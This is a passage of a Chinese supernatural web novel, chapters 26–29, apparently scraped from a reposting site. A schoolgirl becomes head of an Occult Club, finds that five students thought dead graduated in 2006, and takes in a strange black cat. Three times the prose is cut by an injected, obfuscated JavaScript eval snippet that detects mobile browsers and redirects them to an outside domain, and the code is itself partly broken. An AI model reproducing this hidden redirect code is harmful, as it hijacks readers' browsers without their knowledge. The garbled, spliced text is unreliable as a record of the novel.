不知道对方是没注意到她脸上怪异的表情还是即便看到了也并不在意,对着安然伸出一只手:“你好,黎煜。” 安然垂眸看着伸到自己的面前的那双苍白到有些过于骨节分明的手,犹豫了几秒,握了上去:“安然。” 黎煜很健谈,灵异社在他的讲述中也渐渐褪去了神秘的面纱。 他是高二的学长,也是灵异社的副社长。 而灵异社并也非她一开始认为的是某些学生私下成立‘违规社团’,据现有资料记录中的蛛丝马迹推测它很有可能在学校成立初期就已经存在了。 由于社团成立时正处于一个相当尴尬的时期,成员之间均是口口相述,没有留下半点文字信息,而有关社团最早的资料则可以追溯到上世纪60年代中后期。 这是一个远超过安然年纪并且有着自己独立历史的社团,而更让她觉得惊讶的是这样的社团在华国竟然一共有8个之多。 果然隔行如隔山。 而这其中怀阳一中是这所有高校中唯一的一所县级高中。 另外七所高校,随便哪一所都是在全国名列前茅的存在。 尽管黎煜的语气从始至终没有变化,但安然听到这儿的时候还是从中品出了点忿忿不平。 她的眉眼低垂着,黎煜不像是会学校‘嫌贫爱富’的性格,那么想来这几所学校之间似乎还存在着某种竞争关系。 这一路上,他还讲解了灵异社目前的成员构成情况:除了他,社里还有4位部长,每个部长手下大概有7-8个人。 安然有心想问丁筝的情况,但话到嘴边打了个转又被她强行咽了回去。目前自己连灵异社的边都没摸着,本来想着万一只是类似于‘同好会’之类社团,大概没那么些弯弯绕绕。 但对于有年纪甚至年纪还不算小的团体,不说水能有多深,单看副社长这独特的气质也能猜到这里面的水肯定不会浅到哪里去。 在一切都还是未知的情况下,安然决定暂时保持沉默。 很快,黎煜带着安然来到了高二年级的教学楼。 “是有什么落在教室了么?”安然不解,但在触及黎煜眼神的时候,她就知道了答案:“据点在这儿?”见对方点头,她也不再言语,紧跟在了对方身后。 其实他们学校在教育设施上真的不抠。每个班级配备的多媒体都是最好的,体育室、音乐教室、美术教室、计算机教室,还有各科的实验室配备都相当的齐全。 不知道为什么,唯独男生寝室在当初重建的时候没有纳入修建规划,虽然消防给出的解释是:工期太赶,会影响新学期的住宿问题,但那帮住校男生似乎并不买账几乎每天都在抗议学校的‘重女轻男’。因为有丁筝那个‘包打听’对于当时的事情她也有所耳闻。 那帮男生其实是搞了一个血书联名的计划的,但好像计划还没执行几个,就因为有人手指被割的太深止不住血最终去医院缝了三针而被迫‘夭折’。 这个点教学楼里只零星还有几个卫生还没打扫好的学生了。 虽说学校每栋教学楼的设计全部统一,但不知道是不是因为人与人之间的气场不同,安然自踏进这这栋楼便有一种侵入他人领地的异样的陌生感。 这儿其实算是安然第二次来了。第一次是因为上交的户籍资料有误,需要找相关负责的老师进行改正。 本来也没那么麻烦,过去一般都是由班主任直接和相关老师说明情况就好,但那一年,一个‘因为班主任擅自篡改学生信息导致对方措施艺考’的新闻在全国都闹得沸沸扬扬,最后教育局才不得不出台了这样一项政策给悠悠众口一个交代。 虽说效果不算太好,但也算勉强为那次事件画上了句号。 安然也是那时候知道原来学校的档案室在高二这栋教学楼顶层。 但眼看着他们已经经过5楼,有往顶层走的趋势时她心里蓦地升起了一种异样感。 不会这么巧吧... 尤其迈上楼梯最后一级又见对方真的将钥匙插进校档案室的门时,安然差点就对着天空大喊‘卧槽’了。 先是有种‘瞌睡有人递枕头’兴奋的不真实感,再就有是生出了点说不清道不明的愤懑。 “学校竟然将档案室给灵异社用?”面对黎煜,这个问题她问的其实还算委婉,但凡换个人,安然都不会这么客气。 这些可都是学生的个人隐私,一想到灵异社上上下下二三十个人在这里随意翻动他们的档案,对于学校这种随意忽视的态度,安然就气不打一处来。 黎煜推开门,做了一个邀请的手势: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850078|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “放心,这里只有灵异社的负责人才可以进。况且...” 学生的资料柜都是锁着的。 一排排书架上密密麻麻摆满了资料,每一行都标明了日期班级以及负责这个班级的班主任。 而资料室的空间远比她之前料想的要大得多得多,安然震撼于学校竟然能有如此多的资料以及那一扇扇将书架封锁其中的玻璃门。 但震撼很快就被惊愕取代。 那一扇扇玻璃门上的挂着的根本就不是一般的锁,那玩意竟然是密码锁! 这就意味着她没有半点翻阅夏澄澄资料的机会。这就像她身前的桌子上摆放着各式各样的珍馐美味,却被人用一个巨大的玻璃罩上了,偏偏主人家还一个劲的说:‘快吃呀,快吃呀。别客气’一样让人难受。 “很震撼吧!”黎煜走到安然身侧,虽然是在感慨但语气里有种说不出的惆怅:“这是只有纸质资料才能带来的来自于历史的冲击。” “大部分学校都已经实施了资料电子化的处理,但要我说只有真正写在纸上的东西才是安全。网上可以删改后不留任何痕迹,但一笔一划书写在纸上的东西,就不会那么被轻易篡改。哪怕篡改也会留下蛛丝马迹。” 安然对这话不认同但也不反对。纸质资料和网络媒体其实各有优缺点。比如纸质资料容易氧化以至于字迹变得模糊,存放空间大等缺点,而多媒体的资料虽然方便快捷,储存空间小,但其实就像黎煜说的一个是丢失的问题还有就是容易在文件夹里吃灰。 其实在她看来没必要非要分出个高矮胖瘦,按自身习惯和喜好来就好。 但有一点她和黎煜的想法是一样的——-这样的视觉震撼的确只有实实在在能握在手上的东西才能给的起。 那些泛黄的带着岁月痕迹的纸张透过玻璃清晰的映在安然眼中,她甚至看到了上世纪60年代的学生资料。那是来自于不同时代视觉冲击。隔着这扇薄薄的玻璃,她甚至产生了种正在和他们对视的荒谬错觉。 安然别开目光,视线穿过书架落到了更深的地方,那里有一整面巨大的书柜,书柜上摆着许多书籍,那些书看上去已经有些年头了。 “能看么?”安然回头询问。 “自然可以。” 得到了黎煜肯定的答复,她就近拿起手边的一本翻了几页,不知道是因为写的不是汉字还是因为写这书的人太过于随心所欲,除了勉强认出个‘敕’、‘令’以外,再也找不出第三个能读懂的字了。 连着翻了几本竟然都是一样。 也难怪可以了,就这字,除了作者本人估计没有人能认出来。 直到一本名为《灵异社相关事宜记录》,一本超级厚的册子映入眼帘,她才有种‘啊!终于能有她本能看懂的东西了!’的感慨。 指尖在距离那本书还有几毫米的地方停了下来,这毕竟是他们社团的记录,她这个外人还是不要随便翻阅的好。 安然收回手,转身看向身后的黎煜:“现在可以说说你和我见面的真正原因了么?” 27. 第27章 黎煜一愣,随即笑了起来:“当然可以。但在说正事之前,可以请你先将之前寻到的那枚徽章拿出来么?” 安然点头,将徽章递了过去。 对方接过徽章,那东西像是有了生命般在黎煜指间丝滑翻转。 “学校后山那片水潭?” 这话问的没头没尾,但却让安然微微变了脸色,但只一瞬便恢复了正常,轻笑道:“陈温柔告你了?”她知道自己没有告诉任何人找到徽章地点。哪怕陈温柔一直旁敲侧击,她也始终没有透露半个字。 这个黎煜是会借坡下驴还是... 没想到对方却直接摇头,语气竟颇有些无奈:“是我自己闻出来的。” 闻出来的? 安然皱眉看着对方手上翻转的徽章:“你闻到什么了?” 黎煜听后竟微微皱起了眉:“水鬼的味道。”说着还抿了抿唇,有些嫌弃:“很腥。” 腥你还放手上... 只是吐槽归吐槽,安然却并没有完全相信对方的说辞。 见安然沉默,黎煜无奈地笑了笑:“我可以闻到鬼魂的味道。灵异社之所以能成立这么久,总还是有点傍身的本事在身上的。”说着还冲着她眨了眨眼。 “是灵异社所有成员都有类似的...特殊的能力?” “当然不是。”黎煜直接给了否定的答案:“咱们灵异社只有我,还有另外4个部长。其他基本都是普通学生。” 见安然若有所思,一看就知道她可能想歪了,好忙解释:“并不是你想象的那种小说里的异能之类的,没那么神奇。你可以理解为家族传承。” 家族传承… 和她哥差不多? “那为什么...?”安然不解,既然都是普通人为什么还要招到灵异社? “自然是为了方便管理。” 黎煜给了安然一个她之前从未想过的理由,她垂眸思考了片刻:“是因为他们能看到你们在各个教学楼留下的那些印记?” 黎煜点头:“只有被激发出‘灵感’的人,才能看到那些印记。” “灵...感?” “每个人的灵魂都有其独特的磁场。而大部分人的磁场都是闭环的状态,他们无法感受鬼魂散发出的磁场。但还有一部分人,他们灵魂闭环状态或先天或后天地发生了暂时性的阻断,从而激发出了灵感,但其实那点微末的灵感很有限。不但无法自保还会让他们对灵异产生一种很强烈的好奇或是恐惧...” “这种心理状态你也可以将之理解为受鬼魂磁场的影响。要知道人的好奇心是会害死猫的。所以与其放任他们在外面作死,不如放在眼皮子底下看着。就算惹出什么乱子,也不至于无法收场。” 安然垂眸。 陈温柔...她对灵异的好奇程度绝对能在所有人中名列前茅。 但丁筝为什么... 难道... “那如果是后天的话...会有哪些原因?” “这个其实不太好说...”黎煜微微皱眉像是在思考怎么和安然解释:“就像同样的病毒在每个人身上表现出来的症状都会不一样...” “但我们在后期调查加上灵异社前辈之前的记录,得出了一个结论:这些人灵感的产生都是在经历过重大的人生变故后,比如重要亲人的死亡、车祸等事故、自杀后被抢救回来以及玩过灵异游戏等等。但数据毕竟有局限性,不能以偏概全。” “那暂时性的阻断又是什么意思?难不成灵感还能消失?” 见黎煜真的点头,安然眼中浮现了点若有所思,试探着问:“你们...可以让他们恢复正常?” “呵呵...”黎煜轻笑出声:“正常?你觉得什么样才算是正常?” 明明是一个普通的问题,但安然却从中听出了点质问的味道,并不浓烈,但也让人无法忽视,她看着对方的眼睛:“和大多数一样就是正常。你说的不算,我说的也不算,是这个人类社会决定的。当多数都是普通的没有任何特殊能力的人,他们就是这个社会基底,普通人就是正常。但当整个社会都拥有特殊能力,普通人就会变成异类...而排挤异类本就是人类无法改变的天性。” 说到这,安然突然语气变得轻松了些,唇角勾了勾:“你不是普通人,我和正常也搭不上边,咱们半斤不笑八两,怎么样?” 黎煜眼中是安然看不懂的复杂,只是那点情绪她还没来的及看清便消失的一干二净。 “好。” “所以你们真的能让他们正常?”如果真的可以...那她无论如何也要找到丁筝。 “不单是我们,主要还是他们自己。”见安然面露疑惑,黎煜解释:“灵魂其实是十分脆弱的,哪怕一点点的创伤也需要花很长的时间来治愈,但它们的坚韧程度同样惊人。” “一味的否定往往会适得其反,堵不如疏,他们其实也只是想要一个答案而已。找到根源再加以引导,心结一散,自然就会正常。” 安然有心再问,黎煜却笑着岔开了话题:“这些真要是较真起来,讲到明天都将不完了。你不是想知道怎么,咱们见面的原因么?” 他停顿了一会儿,看着安然的眼睛,一字一句:“做灵异社的社长,怎么样?” “不怎么样...”安然想也没想就拒绝了。开什么国际玩笑,她原本的计划是查出丁筝在灵异社做过的事,然后拍拍屁股走人的,这从天而降的帽子,说什么也不可能戴。 但她心里同样有疑惑:灵异社的社长呢? 也许是打心底里就没正儿八经地想要了解灵异社的相关,所以到了这会儿才惊觉黎煜从一开始就没提到过社长。 “为什么?”安然微微皱眉,“我连个社团新人都算不上...”说到一半声音戛然而止,指着对方手上的徽章:“因为这个?” 黎煜却并没有直接回答而是问:“你知道这是什么么?” “灵异社的信物?总不会是传国玉玺吧?!就算玉玺,也不是谁捡到,国家就归谁啊!” “哈哈哈...”黎煜像是被安然逗乐了,手背上的徽章被这一笑直接掉在了地上,他按了按眼角,捡起地上的东西:“看来只有牵扯到自己身上,你才会比较像你。不过.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850079|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .” “虽然这东西不是传国玉玺,但整个华国也不过8枚。” 安然记得听陈温柔之前好像是说过,但实话实说,这东西灰扑扑的她还真没看出来有什么特别之处,但她什么都没说,虽然理解不了,但表示尊重。 “这是一中灵异社社长的信物。因为它的丢失,灵异社已经近20年没有社长了...” 真的假的... 这和陈温柔说的好像不太一样。 “可陈温柔说...” “他们只是编外人员,自然不可能知道灵异社的真正情况。” 安然觉得这剧情实在进行的有些狗血,但话都说到这个份儿上了,估计是有什么‘谁能找到徽章。谁就是下一任社长’之类的扯淡规定。 可规矩是死的,人是活的。她不愿意当这个社长,也许有得是其他人愿意。 她斟酌着刚想开口,对方却像是料到她要说什么似的:“你先不要急着拒绝。要不先了解一下社长权益?” 没等她拒绝,黎煜的目光便转向了身后一整片书架,语气幽幽道:“比如...社长可以翻阅其他灵异相关的学生资料。” 安然这下脸色彻底变了,连带着周身轻松的气场一并消失。 “安然同学,你其实不用那么紧张。”黎煜笑着做了一个投降的手势,语气温和:“我虽然不知道你要看档案的原因,但却很擅长察言观色。一般人第一次进来通常都会先整体打量一番,然后才会被某一样东西吸引注意力。但你不同,你第一眼便直接锁定了那些档案,然后才开始观察周围,这就说明在此之前你就已经对它们抱有某种目的性...” 黎煜的解释说的通,但当面被人说破的感觉并不好受,尤其还是暴露在最开始的时候,别的不说,就这一条就将她拿捏的死死的。 她知道自己必须看到夏澄澄的资料,哪怕只是赌一个可能。 压抑的沉默很快让书架林立的资料室蔓延开来。 安然这会儿才惊觉,从一开始对方就没拿自己当灵异社的外人,事无巨细一大堆,自己还傻乎乎的问东问西。就连黎煜进门前说这地方只有管理层才能进,她都没反应过来。 啧。真是出门没带脑子。 但事已至此... “那社长后期可以卸任么?”安然一扫之前的沉郁,露出标准的八颗牙,笑的既假又狗腿:“或者呃...传给别人?” 黎煜似乎没想到安然接受的这么容易,但也没傻到在这个时候问点别的再生事端,于是也笑道:“一般社长如果没有犯什么原则性错误的话都是一直担任到毕业以后的,但考虑到你的个人意愿...一年期限,怎么样?” “一年期限,也给我们时间找找能被徽章认可的人。期限一到如果你还是坚持要离开,我会尊重你的选择,可以么?” 一年... 这其实远远超过了她之前的预期...但计划赶不上变化,最主要的是她隐隐有预感,姜慧...很可能只是个开始。 于是安然伸出手,脸上的笑容也真诚了不少:“未来一年,还请多多指教。” 28. 第28章 黎煜走的很干脆,半点没有要打探她隐私的意思。 转眼间偌大的资料室只有安然一个人。 她用指尖戳了一下那枚写着‘兑’字的徽章,还是没能理解对方那句‘得到它的认可’是什么意思。想起黎煜‘你以后就会知道了’的敷衍说辞,安然就忍不住撇嘴,要不是他和老头子差的太多,她都怀疑两人是不是师出同门,话术都是一比一复制粘贴。 安然支着下巴,将视线移到黎煜临走前给她的笔记本上。 有两本,一大一小。 小的那本说是写着各届毕业生资料对应的密码,大的就是她之前在书架上看到的那本《灵异社相关事宜记录》。看着那本厚度堪比牛津汉英词典的记事簿,心中不禁啧啧称奇,这学校是得发生多少事才能有这样的厚度啊... 人的好奇,就像燎原的星星之火。 安然看了眼手机【17:39】。6:50开始晚自习,时间还算充裕。 就看个开头。 她在心里默默告诫自己。 第一页——空白。 第二页——还是空白 第三页、第四页... 整本笔记翻到最后竟然全是空白一片,一个字都没有。 逗她呢吧?! 看什么,看无字天书么? 亏黎煜还能说的出上面的内容能让她快一些了解灵异社的情况,还‘贴心’地说可以拿回家慢慢看。要不是黎煜从始至终都没有表现出对社长位置的觊觎,安然都怀疑他是不是在耍自己。 盯着那本厚的可以当砖头的书看了一会,安然想到了什么似的,重新拿起《灵异社相关事宜记录》凑上去闻了闻。一股淡淡的纸浆味儿混着似有若无的油墨味儿窜进了她的鼻间。 和自己帮老头子磨墨的墨腥味儿一模一样。 这上面应该是有字的。 只是她看不到。 或许... 原因不在黎煜,而在她自己身上。 不是上面没字,而是她看不到。 黎煜大概是会错了意,她之前说自己和正常搭不上边是考虑到自己吸引鬼魂的命格,而不是拥有和他们类似的特殊能力。 他们的能力很可能就是源自于老头子昨晚说的‘炁’。 自己没有所谓的炁,所以看不到... 安然眉眼低垂着,淡粉的唇瓣紧抿着,越发看不到血色。失落的情绪被她藏在眼底,胸口攒了一团火,连日来积压的情绪随着胸口的喘息剧烈地起伏着:委屈、不甘、恐惧、愤怒、不解...烧的她眼眶都跟着微微发烫。 眼泪掉下来前,安然冰冷的掌心覆上眼眸,任由滚烫的眼泪打湿睫毛最后消失不见... 一通短暂的发泄,让她整个人状态好了不少。 黎煜说的没错,这段时间她整个人都是绷着的,看谁都像是有所图谋,不是好人。 这样的精神状态其实很致命。 紧绷的神经太容易让人判断失误,分不清主次。 安然垂眸遮住了眼底的情绪,翻开手边记录密码的笔记本。 做笔记的人似乎很懂得分类排序,编号和密码整齐划一,一目了然。 没一会儿,06届毕业生档案柜的密码便映入了眼帘。 安然记住数字,再根据书架上的标签,很快便找到了‘06届毕业生高三(4)班’资料柜。 许是这些资料被封印的时间实在是有些长了,柜门打开的一瞬,立马被一股书本陈旧发霉的味道激的咳嗽了起来。 “咳咳咳...” 她挥了挥面前的空气,根据外贴的便签快速取出了夏澄澄、林梓露、姜慧、以及江源的档案。至于剩下的两个,姜慧对他们似乎并不熟悉,聊天的时候也没刻意说起过名字,但好在安然记得长相,虽然花了点时间,根据资料上的单寸照,也成功找到了他们对应的身份。女生叫蒋清怡,男生叫葛鹏。 六份档案摆在了桌上。 安然没多犹豫从中拿出来夏澄澄的档案。 这份档案是这几人当中最厚的。 照片上的夏澄澄笑得一脸阳光,和姜慧记忆里的一模一样。 【姓名】:夏澄澄 【性别】:女 【母亲】:夏沐 【父亲】:厉远山 随母姓么... 联系人一栏先是填了母亲的名字,但后面又改成了父亲。母亲一栏的电话已经被涂掉,只有父亲后面一栏有一串数字。 再往下便是惯常的住址,父母职业。 夏澄澄的妈妈是一味全职家庭主妇,父亲则是一名医生。 安然跳过中间包括一些比赛奖项之类的个人经历,直接翻到了最后一页。 没想到第一行字就让她惊得愣在了原地。 【毕业时间】:2006年6月20 夏澄澄竟然顺利毕业了,那也就意味着... 她还活着。 安然继续往下看。 【高考分数】:691 【通知书收取时间】:2006年7月 【录取院校】:B市大学 ......... 后面的记录,安然没有再继续看。 这和她之前的预计完全相反。 夏澄澄非但没死,反而考了个相当不错的成绩。哪怕一中是在怀阳县数一数二的高中,但能被B大录取的学生也并不多。 难道姜慧是夏澄澄当初没死怀恨在心,所以不愿离开?毕竟夏澄澄才是当初的那个灵异游戏的招募者,另外五人都是因为她,明知假期还非要聚集到学校来的。 说是她罪魁祸首,也不为过。 如果夏澄澄没死...另外几人呢? 林梓露的档案,安然直接翻到了最后一页。 【毕业时间】:2006年6月20日 【高考分数】:411 林梓露竟然也没死。 不知道为什么,一种奇怪的感觉涌上了安然心头。 这一回,她不再随意抽取,而是直接锁定了一个人——-江源。 江源是安然唯一亲眼目睹过的死者,她现在还能记起对方躺在凌乱的桌椅中死不瞑目的样子。 纸张摩擦发出的沙沙声掺着心跳,不安应运而生,某一瞬间安然觉得手中的纸张似有千斤重。好不容易翻到最后一页。 上面记录的内容彻底打破了她心底的那点侥幸。 【毕业时间】:2006年6月20日 【高考分数】:无 江源竟然真的没死。 安然一手拿过另外两人的档案,全部翻到最后一页。 没死。 都没死。 一场游戏,6个参与者,只有姜慧一个人死了。 “死而复生么...”安然指尖点在江源资料上的【高考成绩】:无上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850080|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她自然知道这世上不可能有什么死而复生,有的只有居心叵测。 最后一份档案摆在手边,安然犹豫了片刻,还是将其展开在了桌上。 那双自带三分笑意的眼睛懵懂地看着镜头外的人,似是不知人间险恶。 安然心中突然涌起了一阵悲哀。 5个算计1个。 这得是多大的仇才至于这般筹谋。 【学生姓名】:姜慧 【性别】:女 【母亲】:楚姗姗 【父亲】:姜怀义 两人工作一栏写的都是工人。 中间则不过寥寥两三页。大多都集中是高一时学期,安然翻阅了一下,有校园歌唱比赛二等奖、作文比赛一等奖、跳远二等奖以及诗朗诵三等奖。 她的高中生活似乎从高二那年就挣扎中悄无声息的结束了。 安然说不上自己此刻的心情,愤怒?悲哀?疑惑?同情?抑或是都有。但所有情绪在翻看到最后一页时全部变成了震惊。 【辍学】 姜慧档案的最后一页竟然是辍学。 可她明明已经死了,怎么会... 安然视线往下,原因一栏写着校方联络不到学生以及监护人,最下面还有一张班主任的走访记录。上面清清楚楚写着姜慧一家已经搬离了原来的住址,人去楼空。 事情愈发扑朔迷离。 这和她之前预测的简直相差十万八千里。 而有几点安然始终都想不明白:首先夏澄澄是姜慧的好朋友,她为什么要杀姜慧?其次如果那场游戏是人为,姜慧为什么会像遭遇鬼打墙般走不出去?最后一点,姜慧档案上为什么会是辍学?她的家人又是怎么回事... “辍学...” 安然眸光一动,意味着尸体并没被人发现... 难道...姜慧是希望自己帮她找到尸体?! 想到这儿,她拿出手机,将档案中标有联系方式那一页拍了下来。 老一辈没什么必要一般不会轻易换号码,说不准这些手机号里还有能联系得到。 安然看了眼时间,将档案整理归纳放回原位。转身离开时,目光落在了桌上徽章和《灵异社相关事宜记录》上,想了想,还是将这两样东西放进了背包里... 杏花街的夜晚连风都自带一股香烛纸钱的味道。 她之前很不待见这种气味,只觉得这味道有种说不出陈旧和腐朽。许是心境变了,如今倒是品出了点沉淀和安心来。 一路上,安然一直在想,哪里会是他们当年抛尸的地方。但思来想去,她竟然发现一中能藏匿尸体的地方还真的不少。虽然学校在姜慧死后经历过重大整改和扩建,工程中并没有发现尸体,新建筑基本可以排除。但这样一来,没有改动的地方同样也还有不少。 男生宿舍、废弃实验楼,学校大大小小的花坛就有不少,还有操场那一带基本没有什么改动还有学校后面那整一片山头。 哪里都有可能。 与其大海捞针,不如死马当活马医,试试档案里的那些联系号码。 “喵呜——-” 安然抬眸,锐利的目光投向声音传来方向——漆黑一片什么都没有。 “喵呜——” 细软的猫叫似是带着呜咽,听上去应该没几个月。 “喵呜——” 之前还如浓墨的夜色里,一金一绿双色异瞳熠熠生辉。 29. 第29章 在不知道第几次将这个粘人的小东西从拖鞋上扒拉开后,安然不禁怀疑开始有点怀疑自己之前的判断了。 这家伙真的是昨晚那只黑猫? 颤巍巍的四肢,奶声奶气的叫声以及傻乎乎往上扑的劲头,自己真的没判断错? 啧。 怎么看都和眼神犀利的那只搭不上边。 可长得实在是太像了。 异瞳的猫本就不多见,还是同样的一金一绿。 装的么... 白皙的指尖在黑猫额头轻轻一戳,这家伙便颤悠悠的倒在了地板,歪着头对着她喵呜喵呜的叫着半天都起不来... 呃... 这是猫么? 林妹妹假扮的吧?! 安然将黑猫从地上拎到自己面前。那小东西两只前爪像在寻找着力点般试探着,一双异瞳闪着‘智慧’的光,喵呜喵呜叫着和普通猫没什么区别。 看了眼窗外已经黑透了的天,指尖在小猫鼻子上点了一下:“算了,今晚就先留你待一晚。等着,给你弄点吃的。” 她记得冰箱里还有点牛奶。 牛奶没开封。 安然看了下生产日期,还好离保质期还有一段时间。要不然这地方这个点外卖可不好叫。 从碗柜找出个不锈钢的小碗,倒了一小碗。 好像有点凉。 想起那小家伙颤巍巍的样子,不会拉肚子吧? 她记得谁说过凉牛奶喝了会拉肚子的。 想到这儿,安然拿出手机,在搜索引擎里输入问题后,跳出了一堆答案。 找了条靠谱的帖子,点开一看,立马被其中一条【只有还在哺乳期的小奶猫才可以喝牛奶!!!】吸引了注意力。 倒不是安然擅于找重点,而是对方用加粗加黑的方式标注了出来,还在后面配上了3个感叹号。 哺乳期... 她哪知道那小东西现在多大啊... 接着往下翻,贴主人还挺好,列举了一些小奶猫能吃的东西。 pass掉奶猫的猫粮罐头,安然打开冰箱。 鸡胸肉...没有。 很好,最后一个鸡蛋早上的时候也被自己吃掉了。 羊奶... 羊奶。 家里好像还真有一罐羊奶粉。 安然记得好像是她哥之前跟风买的。 她其实很少喝牛奶,总觉得里面有股说不清的草腥味。但小学的时候她哥格外喜欢给她买,还忽悠她说多喝会长个子还会变白,她就像个被忽悠瘸了的二傻子吨吨吨喝了不少,结果一段时间后胖的跟蚕宝宝似的。打那起,牛奶就进入了她的食物黑名单,除非实在没什么能吃的了,否则绝对碰都不碰一下。 一通翻找,终于在橱柜里找到了那罐几乎已经尘封了的羊奶粉。 尽管上面已经积了一小层灰,但好在还有半年多的保质期。 泡好羊奶,将小黑猫抱下楼。 将羊奶推到了它面前:“喝吧。” 但小东西只是凑上去闻了闻,便向后退了好几步,一个没站稳还一屁股坐在了地上,那嫌弃的样子简直像是闻到了翔。 这么难闻? 刚刚冲泡的时候,味道很正常啊。 安然皱眉,刚靠近那个碗,小家伙便喵呜喵呜的叫了起来,像是在阻止她靠近。 她端起碗闻了一下,并没有什么奇怪的味道。 算了。 不喝就饿着吧。 起身时余光却瞥见那小东西瘦小的身板,转身去厨房步子怎么都迈不开,最后还是任命得蹲了下来,声音尽量轻柔:“来...听话,不喝会饿的。” 但小黑猫仍旧只是喵喵的叫着,一点没有领情的意思。 如果奶粉没问题,那问题就一定是出现在这小家伙身上了。 难道...是山猪吃不了细糠? 安然看了那个一脸抗拒的小东西一眼,越想越觉得很可能就是这个理由。 毕竟流浪猫吃的都是垃圾桶的东西,零丁换了新鲜的,可能不适应。她看着地上那盆羊奶陷入了沉思,总不能随便往里面丢几片烂菜叶吧... 遗憾地扫了眼地上的垃圾桶,可惜今早出门,厨房里的垃圾就已经扔掉了。 这小东西也真是不容易。 揉了揉从找羊奶时就开始造反的胃。 随它吧,饿了总会吃的。 ———————————————— 没多久,厨房里便传来一阵阵饭菜的香味。 趴在地上的小黑猫明显也闻到了,粉红的鼻尖一颤一颤的嗅着。 安然刚从厨房出来,就看到那小东西绕过羊奶朝着餐桌的方向过来。 她眉眼舒展开来,将做好土豆丝和糖醋排骨端上了桌。 “闻到香味了?” “喵呜...” 等到她将盛好的饭端到桌上,就看见这小东西竟一双爪子扒着桌沿,悬在半空的位置。 安然哭笑不得。 敢情这小家伙不是不能吃细康,是嫌羊奶太粗了。 还挺懂欣赏的。 她将小黑猫放到地上,晓之以情动之以理:“听话,那些菜又有盐,油又多,你吃了会死的。” 见那小东西油盐不进,仍旧想要往桌子跳,安然眸光一动,想起前段时间有个很火的喵咪语言模拟器。 等待软件下载的功夫,她夹起一块排骨放进嘴里,狠心对蹭着她裤脚喵呜喵呜叫的猫咪视而不见。 两块排骨下肚,软件才终于下载完成。 安然迫不及待的打开软件,跳过注册登录的部分,想着送的两次翻译机会肯定够了。 “桌上的菜,猫不能吃,吃了就会死,地上的羊奶才是你的食物。” 大概30多秒的加载后,手机播放出来一阵“喵呜——喵呜-喵呜————” 在她看来,除了长短音阶不同,别的没啥区别。但原本还在扒拉她裤脚的黑猫像是听懂了,呆呆地看着手机,眼睛一眨不眨。 还挺管用。 可刚拿起碗筷,那小东西就又开始对着桌上的美食跃跃欲试,对着桌子一蹦一跳,屡战屡败,屡败屡战... 最后还是安然担心它会把自己跳到猝死,将之前的那段音频再次放了一遍。 只是这次显然没什么效果。 手机屏幕亮着,她注意到这软件还能人性地将喵咪的叫声转成人类的语音功能,于是想也没想按下了录音键。 一段喵呜喵呜后,代表加载状态地小猫爪就一直停留在1%的进度,半点没有要往前挪的意思。 看着叫个不停的黑猫,安然最后实在忍不住了,夹了一小块排骨,用凉白开将上面的酱汁冲洗干净,递了过去。没成想这小东西头一扭,竟然不要。 成精了吧??? 手机上的进度终于从1%跳到了2%,安然暗自撇嘴,照这进度,等她毕业,一定能知道这小东西说的是哈。 她犹豫着夹了整盘排骨里最小的递过去。 一块...应该没事吧? 看到肉,小黑猫立马就不叫唤了。叼着排骨趴在了安然脚边,吭哧吭哧吃的津津有味。 一顿饭安然吃的心惊胆战,小家伙倒是吃的挺欢,土豆丝一根不要,排骨吃了好几块。 见它的确没有什么不良反应,她这才起身将桌上的碗筷收拾干净。 洗了碗,收拾了厨房,刚打算上楼洗漱,就看到桌上的手机屏幕竟然亮着。上面有一条来自猫咪语言模拟器发来的信息。 呦,这会儿用不到了倒是翻译的挺快。 可当软件打开后,没有翻译的语音,也没有翻译的文字,只有一个猩红的感叹号:【抱歉!未检测到喵星人语言!特殊物种开拓中,敬请期待!】 检测不到... 怎么会? 安然重新播了一遍之前录的猫叫。 挺清晰的。她都能听出声音里的急切,估计那会儿馋坏了。 这都能翻译不出来,软件还搞‘歧视’这套? 这念头只是一闪而过,她不以为然地退出软件,准备上楼洗漱。 小黑猫见安然走了也要跟上。她却用脚拦住了它的去路:“今晚乖乖待在楼下,我去拿个东西给你垫着,明天一早就放你离开。” 小家伙却以为以为安然在跟它玩,扒着她的拖鞋上窜下跳,哪里还有初见时风一吹就倒的虚弱模样。 果然,人是铁饭是钢这句至理名言,对所有物种都适用。 在不知道第几次将它从楼梯上放回原地,小东西像是终于明白安然这是不想让它继续跟着的意思了。 喵呜喵呜的叫了两声,便委屈巴巴地趴在楼梯口没有继续再上去的意思。 安然总算是松了口气。 